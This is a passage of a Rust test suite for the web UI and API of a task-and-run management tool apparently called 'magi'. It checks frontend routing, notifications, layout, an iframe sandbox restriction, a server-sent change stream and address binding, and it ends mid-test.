18650 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
18651 )
18652 );
18653 assert!(APP_JS.contains("const pr = landView(run, raw);"));
18654 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
18655 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
18656 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
18657 }
18658
18659 #[test]
18660 fn live_runs_are_never_hidden_or_folded_as_superseded() {
18661 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
18662 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
18663 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
18664 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
18665 }
18666
18667 #[test]
18668 fn review_rounds_label_a_distinct_verified_head() {
18669 assert!(APP_JS.contains("round.verified_head"));
18670 assert!(APP_JS.contains("verified HEAD"));
18671 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
18672 }
18673
18674 #[test]
18675 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
18676 assert!(APP_JS.contains("blocked: { glyph:"));
18680 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
18681
18682 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
18686 assert!(
18687 APP_JS.contains(
18688 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
18689 ),
18690 "the note line must name what a blocked task is waiting on, not just that it is blocked"
18691 );
18692 assert!(APP_JS.contains("if (status === \"blocked\") {"));
18696
18697 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
18701 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
18702 assert!(
18703 APP_JS.contains("location.hash = \"#/questions\";"),
18704 "a question node must jump to the Questions screen, not pretend to be a task"
18705 );
18706
18707 assert!(APP_JS.contains("Resolved questions"));
18710 assert!(APP_JS.contains("r.answersList.append("));
18711 assert!(APP_CSS.contains(".task-answers"));
18712 {
18713 let start = APP_JS
18714 .find("function updateTalkTaskRow")
18715 .expect("updateTalkTaskRow");
18716 let body = &APP_JS[start..];
18717 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
18718 assert!(
18719 body.contains(
18720 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
18721 ),
18722 "a chat-filed task row must link to the task page"
18723 );
18724 assert!(
18725 !body.contains("#/runs/") && !body.contains("#/queue/"),
18726 "the row must not branch to a run or the queue card"
18727 );
18728 assert!(APP_CSS.contains(".talk-task-link"));
18729 }
18730 }
18731
18732 #[test]
18733 fn a_task_notification_links_to_the_task_page() {
18734 let start = APP_JS
18736 .find("function noticeLink(")
18737 .expect("noticeLink exists");
18738 let body = &APP_JS[start..];
18739 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
18740 assert!(
18741 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
18742 "a task notice's link must target the task page"
18743 );
18744 assert!(
18745 !body.contains("#/queue/"),
18746 "regression: the task link must not go back to the Backlog route"
18747 );
18748 assert!(
18749 APP_JS.contains(
18750 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
18751 ),
18752 "`#/tasks/<id>` must parse into the task route"
18753 );
18754
18755 assert!(
18757 APP_JS.contains(
18758 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
18759 ),
18760 "`#/queue/<id>` must parse into a route carrying that id"
18761 );
18762
18763 assert!(APP_JS.contains("state.queueFocus = route.id;"));
18767 assert!(APP_JS.contains("function consumeQueueFocus()"));
18768 assert!(APP_JS.contains("jumpToTask(id)"));
18769 }
18770
18771 #[test]
18772 fn notifications_distinguish_actionable_questions_from_informational_notices() {
18773 let start = APP_JS
18774 .find("function noticeCoveredBy(")
18775 .expect("noticeCoveredBy exists");
18776 let body = &APP_JS[start..];
18777 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
18778
18779 assert!(body.contains("Associated question ${short}"));
18781 assert!(!body.contains("el(\"a\""));
18782
18783 assert!(body.contains("(resolved)"));
18785 assert!(body.contains("(closed)"));
18786
18787 let start = APP_JS
18788 .find("function renderNotifications()")
18789 .expect("renderNotifications exists");
18790 let body = &APP_JS[start..];
18791 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
18792
18793 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
18795 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
18796 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
18797 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
18798 }
18799
18800 #[test]
18803 fn chat_rows_put_the_title_alone_on_the_first_line() {
18804 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
18805 assert!(APP_CSS.contains(
18806 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
18807 ));
18808 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
18809 assert!(APP_JS.contains("class: \"badge talk-unread\""));
18810 }
18811
18812 #[test]
18813 fn run_rows_put_the_title_alone_on_the_first_line() {
18814 assert!(
18815 APP_CSS.contains(
18816 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
18817 )
18818 );
18819 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
18820 assert!(APP_JS.contains("class: \"card run-card\""));
18821 assert!(APP_JS.contains("class: \"repo run-id\""));
18822 }
18823
18824 #[test]
18828 fn wide_screens_show_list_and_preview_side_by_side() {
18829 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
18831 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
18832 assert!(APP_CSS.contains("main[data-split]"));
18833 assert!(APP_CSS.contains("body[data-split]"));
18834
18835 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
18837 assert!(
18838 APP_JS.contains(
18839 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
18840 )
18841 );
18842 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
18843 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
18844 assert!(INDEX_HTML.contains("id=\"split-empty\""));
18845
18846 assert!(APP_JS.contains("function markSelected() {"));
18848 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
18849 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
18850 assert!(
18852 APP_CSS.contains(
18853 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
18854 )
18855 );
18856
18857 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
18859 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
18860 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
18861 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
18862
18863 assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
18867 assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
18868 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
18869 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
18870
18871 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
18873 }
18874
18875 #[test]
18876 fn panel_sandbox_carries_exactly_popups() {
18877 let needle = "sandbox: \"";
18878 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
18879 assert_eq!(
18880 matches.len(),
18881 1,
18882 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
18883 );
18884 let start = matches[0].0 + needle.len();
18885 let end = APP_JS[start..]
18886 .find('"')
18887 .expect("sandbox attribute value must be terminated by a closing quote");
18888 let val = &APP_JS[start..start + end];
18889 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
18890 let expected: std::collections::BTreeSet<&str> =
18891 ["allow-popups", "allow-popups-to-escape-sandbox"]
18892 .into_iter()
18893 .collect();
18894 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
18895 assert!(
18896 !tokens.contains("allow-scripts"),
18897 "allow-scripts must never be present in sandbox"
18898 );
18899 assert!(
18900 !tokens.contains("allow-same-origin"),
18901 "allow-same-origin must never be present in sandbox"
18902 );
18903 }
18904
18905 #[test]
18906 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
18907 assert!(
18916 APP_JS.contains(
18917 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
18918 ),
18919 "the search-clearing branch must run before state.queueFocus is cleared, or the \
18920 recursive renderQueue() call has nothing left to jump to"
18921 );
18922 assert!(
18923 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
18924 "state.queueFocus must be cleared only once the jump has landed, so a card that \
18925 arrives later still gets it"
18926 );
18927 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
18928 assert!(APP_JS.contains("is not in the current Backlog."));
18929 assert!(APP_JS.contains("li.card[data-task-id=\""));
18930 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
18931 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
18932 assert!(APP_CSS.contains(".card-permalink"));
18933 assert!(APP_CSS.contains(".queue-focus-status"));
18934 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
18935 }
18936
18937 #[test]
18938 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
18939 assert!(
18947 APP_JS.contains(
18948 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
18949 ),
18950 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
18951 );
18952 }
18953
18954 #[test]
18955 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
18956 assert!(
18957 APP_JS.contains("round.verified_head !== round.head"),
18958 "a round that verified an earlier commit must be visibly distinct from one that \
18959 verified the head reviewers are looking at now"
18960 );
18961 assert!(
18962 APP_JS.contains("round.verified_at"),
18963 "when a check ran must be on the wire, not just which commit"
18964 );
18965 assert!(
18966 APP_JS.contains("resource_blocked"),
18967 "a command magi never got to run (shared build cache contention) must not render \
18968 the same as a command that ran and failed"
18969 );
18970 }
18971
18972 #[test]
18973 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
18974 assert!(
18982 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
18983 "every KPI tile built through statusTile() must route its click through \
18984 openRunsFiltered, the single place that sets the Runs filter"
18985 );
18986 for (label, status) in [
18987 ("Merged", "merged"),
18988 ("Ready", "ready"),
18989 ("Blocked", "blocked"),
18990 ("Stalled", "stalled"),
18991 ] {
18992 let call = format!("statusTile(\"{label}\", t.{status}, ");
18993 assert!(
18994 APP_JS.contains(&call),
18995 "expected the {label} KPI tile built via {call}..."
18996 );
18997 assert!(
18998 APP_JS.contains(&format!("status === \"{status}\"")),
18999 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
19000 compare a run against, not one invented only for the stats tile"
19001 );
19002 }
19003 assert!(
19004 APP_JS.contains("function openRunsFiltered(status)"),
19005 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
19006 );
19007 assert!(
19008 APP_JS.contains(
19009 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
19010 ),
19011 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
19012 );
19013 assert!(
19021 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
19022 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
19023 hashchange event that may never fire"
19024 );
19025 }
19026
19027 #[test]
19028 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
19029 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
19035 assert!(
19036 APP_JS.contains(
19037 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
19038 ),
19039 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
19040 guard for an incompatible tree section"
19041 );
19042 }
19043
19044 #[test]
19045 fn every_stats_queue_tile_names_a_real_queue_section() {
19046 assert!(
19052 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
19053 "every queue tile built through sectionTile() must route its click through \
19054 openQueueSectionFocus"
19055 );
19056 for key in ["upnext", "running", "done", "held", "blocked"] {
19057 assert!(
19058 APP_JS.contains(&format!("{{ key: \"{key}\",")),
19059 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
19060 );
19061 }
19062 for line in [
19066 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
19067 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
19068 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
19069 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
19070 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
19071 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
19072 ] {
19073 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
19074 }
19075 }
19076
19077 #[test]
19078 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
19079 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
19086 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
19087 assert!(APP_JS.contains("function revealQueueSection(details)"));
19088 assert!(
19089 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
19090 "renderQueue() must consume both focus channels on every pass"
19091 );
19092 assert!(
19093 APP_JS.contains(
19094 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
19095 ),
19096 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
19097 the recursive renderQueue() call has nothing left to reveal"
19098 );
19099 assert!(
19100 APP_JS.contains(
19101 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
19102 ),
19103 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
19104 );
19105 assert!(
19113 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
19114 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
19115 hashchange event that may never fire"
19116 );
19117 }
19118
19119 #[tokio::test]
19120 async fn the_change_stream_announces_the_current_revisions_on_connect() {
19121 let f = Fixture::start().await;
19122
19123 let mut socket = tokio::net::TcpStream::connect(f.addr)
19124 .await
19125 .expect("connect");
19126 socket
19127 .write_all(
19128 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
19129 )
19130 .await
19131 .expect("write request");
19132
19133 let mut seen = String::new();
19136 let mut buf = [0u8; 1024];
19137 while !seen.contains("event: change") {
19138 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
19139 .await
19140 .expect("the stream must speak within five seconds")
19141 .expect("read");
19142 assert!(read > 0, "the server closed the change stream: {seen}");
19143 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
19144 }
19145
19146 assert!(
19147 seen.to_lowercase()
19148 .contains("content-type: text/event-stream"),
19149 "the browser only reconnects automatically for a real SSE stream: {seen}"
19150 );
19151 let data = seen
19152 .lines()
19153 .find_map(|l| l.strip_prefix("data:"))
19154 .expect("a data line");
19155 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
19156 assert!(
19157 payload["queue_rev"].is_u64()
19158 && payload["runs_rev"].is_u64()
19159 && payload["questions_rev"].is_u64()
19160 && payload["talks_rev"].is_u64()
19161 && payload["notifications_rev"].is_u64()
19162 && payload["loop_rev"].is_u64(),
19163 "the client needs one revision per store to know what to refetch, \
19164 and `talks_rev` is the only notification a standing talk gets - a \
19165 phone whose radio slept through a turn learns about it here, as \
19166 does one whose operator started the loop from another device: \
19167 {payload}"
19168 );
19169
19170 let health = f.get("/api/health").await.json();
19177 for key in [
19178 "queue_rev",
19179 "runs_rev",
19180 "questions_rev",
19181 "talks_rev",
19182 "notifications_rev",
19183 "loop_rev",
19184 ] {
19185 assert!(
19186 health[key].is_u64(),
19187 "health is the change stream's fallback and is missing `{key}`: {health}"
19188 );
19189 }
19190 }
19191
19192 #[tokio::test]
19193 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
19194 let f = Fixture::start().await;
19195 let before = f.get("/api/health").await.json()["talks_rev"]
19196 .as_u64()
19197 .expect("talks_rev");
19198
19199 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
19200 std::thread::sleep(Duration::from_millis(10));
19201 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
19202 on_disk.turns.push(crate::talk::Turn {
19203 sender: None,
19204 breaks: Some(Vec::new()),
19205 messages: Vec::new(),
19206 posted_by: None,
19207 who: crate::talk::Who::Operator,
19208 body: "a new turn".to_owned(),
19209 at: Timestamp::now(),
19210 attachments: Vec::new(),
19211 usage: None,
19212 });
19213 f.talks().put(&mut on_disk).expect("record a turn");
19214
19215 let after = f.get("/api/health").await.json()["talks_rev"]
19216 .as_u64()
19217 .expect("talks_rev");
19218 assert_ne!(
19219 before, after,
19220 "a phone must be able to notice a talk's reply without polling every store"
19221 );
19222 }
19223
19224 #[test]
19225 fn bind_reads_back_from_the_spelling_the_cli_prints() {
19226 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
19230 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
19231 }
19232 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
19233 assert!("everywhere".parse::<Bind>().is_err());
19234 }
19235
19236 #[test]
19237 fn an_explicit_bind_address_is_taken_verbatim() {
19238 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
19239
19240 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
19241
19242 assert_eq!(addr, asked);
19243 assert!(
19244 warning.is_none(),
19245 "an operator who named an address gets no lecture"
19246 );
19247 }
19248
19249 #[test]
19250 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
19251 let (addr, warning) = resolve_bind(&Bind::Auto);
19252
19253 match addr {
19260 IpAddr::V4(ip) if is_tailnet(&ip) => {
19261 assert!(warning.is_none(), "a tailnet address needs no warning");
19262 }
19263 other => {
19264 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
19265 let warning = warning.expect("a fallback has to explain itself");
19266 assert!(
19267 warning.contains("127.0.0.1") && warning.contains("local-only"),
19268 "the warning says what happened and what it costs: {warning}"
19269 );
19270 }
19271 }
19272 }
19273
19274 #[test]
19275 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
19276 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
19280 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
19281 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
19282 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
19283 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
19284 }
19285
19286 #[test]
19287 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
19288 let ids = vec![
19289 "20260902-140501-aaaa".to_owned(),
19290 "20260902-140502-aabb".to_owned(),
19291 ];
19292
19293 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
19294 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
19295 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
19296
19297 assert_eq!(missing.status, StatusCode::NOT_FOUND);
19298 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
19299 assert_eq!(short, "20260902-140502-aabb");
19300 }
19301 #[tokio::test]
19302 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
19303 let fx = Fixture::start().await;
19309 let id = panel(
19310 &fx,
19311 "<img src=\"shot.png\">",
19312 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
19313 );
19314
19315 let doc = fx
19317 .get(&format!("/api/questions/{id}/panel/index.html"))
19318 .await;
19319 assert_eq!(doc.status, 200, "{}", doc.body);
19320 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
19321
19322 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
19323 assert_eq!(sibling.status, 200, "{}", sibling.body);
19324 assert_eq!(sibling.header("content-type"), Some("image/png"));
19325 assert_eq!(
19326 sibling.header("content-security-policy"),
19327 Some(PANEL_CSP),
19328 "the sibling route must carry the same policy as the asset route"
19329 );
19330
19331 assert_eq!(
19334 fx.head(&format!("/api/questions/{id}/panel")).await.status,
19335 200
19336 );
19337 }
19338
19339 #[test]
19340 fn delta_stamps_cover_add_update_remove_and_noop() {
19341 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
19342 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
19343 let delta = diff_stamps(&before, &after, 42);
19344 assert_eq!(delta.base, 42);
19345 assert_eq!(delta.changed, ["b", "c"]);
19346 assert_eq!(delta.removed, ["a"]);
19347 let same = diff_stamps(&after, &after, 43);
19348 assert!(same.changed.is_empty() && same.removed.is_empty());
19349 assert_ne!(stamps_revision(&before), stamps_revision(&after));
19350 let nanos: Stamps = [("b".into(), (2, 20))].into();
19351 let same_ms: Stamps = [("b".into(), (3, 20))].into();
19352 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
19353 assert_eq!(stamps_revision(&Stamps::new()), 0);
19354 }
19355
19356 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
19357 std::fs::create_dir_all(home.join("runs")).unwrap();
19358 Arc::new(Ui::new(
19359 Queue::at(home.join("queue")),
19360 Questions::at(home.join("questions")),
19361 Talks::at(home.join("talks")),
19362 home.join("runs"),
19363 home.to_owned(),
19364 PathBuf::from("/repo/magi"),
19365 ))
19366 }
19367
19368 #[tokio::test]
19369 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
19370 let home = TempDir::new().unwrap();
19371 let ui = delta_test_ui(home.path());
19372 let mut task = Task::new(
19373 "stream task".into(),
19374 "text".into(),
19375 PathBuf::from("/repo"),
19376 Source::Human,
19377 );
19378 ui.queue.put(&mut task).unwrap();
19379 let response = events(State(ui.clone())).await.into_response();
19380 let mut stream = response.into_body().into_data_stream();
19381 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
19382 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
19383 .await
19384 .unwrap()
19385 .unwrap()
19386 .unwrap();
19387 let text = String::from_utf8(chunk.to_vec()).unwrap();
19388 let data = text
19389 .lines()
19390 .find_map(|line| {
19391 line.strip_prefix("data: ")
19392 .or_else(|| line.strip_prefix("data:"))
19393 })
19394 .unwrap();
19395 serde_json::from_str(data).unwrap()
19396 }
19397 let initial = change(&mut stream).await;
19398 assert!(initial.get("queue_delta").is_none());
19399 task.instruction.push_str(" changed");
19400 ui.queue.put(&mut task).unwrap();
19401 let updated = change(&mut stream).await;
19402 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
19403 assert_eq!(
19404 updated["queue_delta"]["changed"],
19405 serde_json::json!([task.id])
19406 );
19407 assert_eq!(
19408 updated["queue_rev"].as_u64(),
19409 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
19410 );
19411 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
19412 let removed = change(&mut stream).await;
19413 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
19414 assert_eq!(
19415 removed["queue_delta"]["removed"],
19416 serde_json::json!([task.id])
19417 );
19418 }
19419
19420 #[tokio::test]
19421 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
19422 let home = TempDir::new().unwrap();
19423 let ui = delta_test_ui(home.path());
19424 let queue = ui.queue.clone();
19425 let query = |ids: Option<&str>| {
19426 Query(ListQuery {
19427 limit: Some(2),
19428 ids: ids.map(str::to_owned),
19429 })
19430 };
19431 let mut root = Task::new(
19432 "root".into(),
19433 "instruction".into(),
19434 PathBuf::from("/repo"),
19435 Source::Human,
19436 );
19437 queue.put(&mut root).unwrap();
19438 let mut blocked = Task::new(
19439 "blocked".into(),
19440 "instruction".into(),
19441 PathBuf::from("/repo"),
19442 Source::Human,
19443 );
19444 blocked.block(vec![root.id.clone()], None);
19445 queue.put(&mut blocked).unwrap();
19446 let whole =
19447 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
19448 .unwrap();
19449 let subset = serde_json::to_value(
19450 queue_list(State(ui.clone()), query(Some(&root.id)))
19451 .await
19452 .unwrap()
19453 .0,
19454 )
19455 .unwrap();
19456 assert_eq!(whole, subset, "requested root plus its blocked dependent");
19457 let blockers = serde_json::to_value(
19458 queue_list(State(ui.clone()), query(Some("")))
19459 .await
19460 .unwrap()
19461 .0,
19462 )
19463 .unwrap();
19464 assert_eq!(blockers.as_array().unwrap().len(), 1);
19465 assert_eq!(blockers[0]["id"], blocked.id);
19466 assert_eq!(
19467 blockers[0]["waits_on"],
19468 whole
19469 .as_array()
19470 .unwrap()
19471 .iter()
19472 .find(|row| row["id"] == blocked.id)
19473 .unwrap()["waits_on"]
19474 );
19475
19476 for id in [
19477 "20260902-140501-aaaa",
19478 "20260902-140502-bbbb",
19479 "20260902-140503-cccc",
19480 ] {
19481 write_run(&ui.runs, id, RunStatus::Merged);
19482 }
19483 let old = serde_json::to_value(
19484 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
19485 .await
19486 .unwrap()
19487 .0,
19488 )
19489 .unwrap();
19490 assert!(
19491 old.as_array().unwrap().is_empty(),
19492 "older updates must not enter the window"
19493 );
19494 let newest = serde_json::to_value(
19495 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
19496 .await
19497 .unwrap()
19498 .0,
19499 )
19500 .unwrap();
19501 assert_eq!(newest.as_array().unwrap().len(), 1);
19502 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
19503
19504 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
19505 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
19506 let talks = serde_json::to_value(
19507 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
19508 .await
19509 .unwrap()
19510 .0,
19511 )
19512 .unwrap();
19513 assert_eq!(talks.as_array().unwrap().len(), 1);
19514 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
19515 assert_eq!(
19516 serde_json::to_value(
19517 talks_list(State(ui.clone()), query(Some("")))
19518 .await
19519 .unwrap()
19520 .0
19521 )
19522 .unwrap(),
19523 serde_json::json!([])
19524 );
19525 }
19526
19527 #[tokio::test]
19528 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
19529 async fn delta_payload_benchmark() {
19530 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
19531 let ui = delta_test_ui(&home);
19532 let query = |ids: Option<String>| {
19533 Query(ListQuery {
19534 limit: Some(50),
19535 ids,
19536 })
19537 };
19538 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
19539 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
19540 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
19541 let queue_id = queue
19542 .iter()
19543 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
19544 .unwrap_or(&queue[0])
19545 .task
19546 .id
19547 .clone();
19548 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
19549 .await
19550 .unwrap()
19551 .0;
19552 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
19553 .await
19554 .unwrap()
19555 .0;
19556 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
19557 .await
19558 .unwrap()
19559 .0;
19560 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
19561 eprintln!(
19562 "DELTA_PAYLOAD {}",
19563 serde_json::json!({
19564 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
19565 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
19566 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
19567 "counts": [queue.len(), runs.len(), talks.len()],
19568 "blocked": queue_delta.len() - 1,
19569 })
19570 );
19571 }
19572
19573 #[test]
19574 fn runs_revision_moves_when_deleting_an_older_run() {
19575 let temp = TempDir::new().expect("tempdir");
19576 let runs = temp.path().join("runs");
19577 std::fs::create_dir_all(&runs).expect("create runs dir");
19578
19579 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
19580
19581 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
19582 std::thread::sleep(Duration::from_millis(10));
19583 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
19584
19585 let rev_before = runs_revision(&runs);
19586 assert!(rev_before > 0);
19587
19588 let old_dir = runs.join("20260901-100000-old1");
19589 std::fs::remove_dir_all(&old_dir).expect("remove old run");
19590
19591 let rev_after = runs_revision(&runs);
19592 assert_ne!(
19593 rev_before, rev_after,
